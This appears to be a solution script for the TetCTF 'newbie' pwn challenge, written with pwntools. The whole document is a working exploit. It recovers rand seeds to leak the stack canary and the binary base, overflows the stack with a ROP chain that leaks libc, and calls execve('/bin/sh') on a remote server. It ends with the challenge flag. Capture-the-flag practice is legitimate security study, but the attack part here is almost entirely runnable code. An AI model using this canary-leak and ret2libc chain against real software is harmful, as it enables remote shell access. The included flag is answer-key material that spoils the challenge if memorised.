solution script```python solve.py 1 0```
```pyfrom pwn import *context.log_level="debug"context.terminal = ["tmux", "splitw", "-h","-p","60"]
elf = ELF("./newbie",checksec=False)context.arch=elf.arch
gdb_script = """#b *main#read srandbuf#b *0x555555400CE2
#stackcheck#b *0x555555400DB7
#retb *0x555555400DCE
#srandb *0x555555400D71b *0x555555400BE9
c"""import sys
is_server=int(sys.argv[1])is_gdb=int(sys.argv[2])if is_server:    is_gdb=0    LIBC_PATH="./libc-2.27.so"    p = remote("18.220.157.154", 31337)elif is_gdb and not is_server:    LIBC_PATH="/lib/x86_64-linux-gnu/libc.so.6"    p = elf.process(aslr=False)else:    LIBC_PATH="/lib/x86_64-linux-gnu/libc.so.6"    p = elf.process(aslr=True)
def send_id(idx):    p.recvuntil("> ")    p.sendline(f"id {idx}")
def create():    p.recvuntil("> ")    p.sendline(f"create")    p.recvuntil("Your key: ")    return p.recvline().strip().decode()
from ctypes import CDLLaAbcdefghijklmn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"libc = CDLL(LIBC_PATH)def create_key_imp(srand_i16):    key = ["\x00"]*32    libc.srand(srand_i16)    for i in range(32):        key[i] = aAbcdefghijklmn[libc.rand()%62]    return ''.join(key)
def reverse_create_key(key):    for i in range(0,0xffffffff):        if key==create_key_imp(i):            return i    print(key)    print("HATA")    exit(0)def leak_from_array(idx):    context.log_level="info"    send_id(idx)    created_key = create()    context.log_level="debug"    reversed_key = reverse_create_key(created_key)    return reversed_key
def leak_64(idx):    leak=[]    leak.append(leak_from_array(idx+3))    leak.append(leak_from_array(idx+2))    leak.append(leak_from_array(idx+1))    leak.append(leak_from_array(idx))    return int( (''.join([hex(i) for i in leak]).replace('0x','')),16)
#gdb.attach(p)if is_gdb:    gdb.attach(p,gdb_script)    send_id(0)    create()    pause()
canary_leak = leak_64(49)print("CANARY LEAK",hex(canary_leak))
elf_leak = leak_64(29)print("ELF LEAK",hex(elf_leak))elf.address = elf_leak - 0xf26elf.address *=0x10print("elf.address",hex(elf.address))#gdb.attach(p)
canary_offset= cyclic_find("avaa")bof_offset= cyclic_find("caaa")rop = ROP(elf)rop.puts(elf.got["puts"])rop.call(elf.address+0xC96)payload= b"quit "payload+= canary_offset*b"C"payload+= p64(canary_leak)payload+= bof_offset*b"D"payload+= rop.chain()p.clean()p.sendline(payload)
recieved = p.recvline().strip()leak = u64(recieved.ljust(8, b"\x00"))log.success("puts: "+ str(hex(leak)))
libc = ELF(LIBC_PATH)libc.address = leak - libc.symbols["puts"]
rop2 = ROP(libc)BINSH = next(libc.search(b"/bin/sh\x00"))rop2.execve(BINSH,0,0)
payload= b"quit "payload+= canary_offset*b"C"payload+= p64(canary_leak)payload+= bof_offset*b"D"payload+= rop2.chain()p.clean()p.sendline(payload)
p.interactive()#TetCTF{Challenge_f0r_n3wbie_Akwpa}```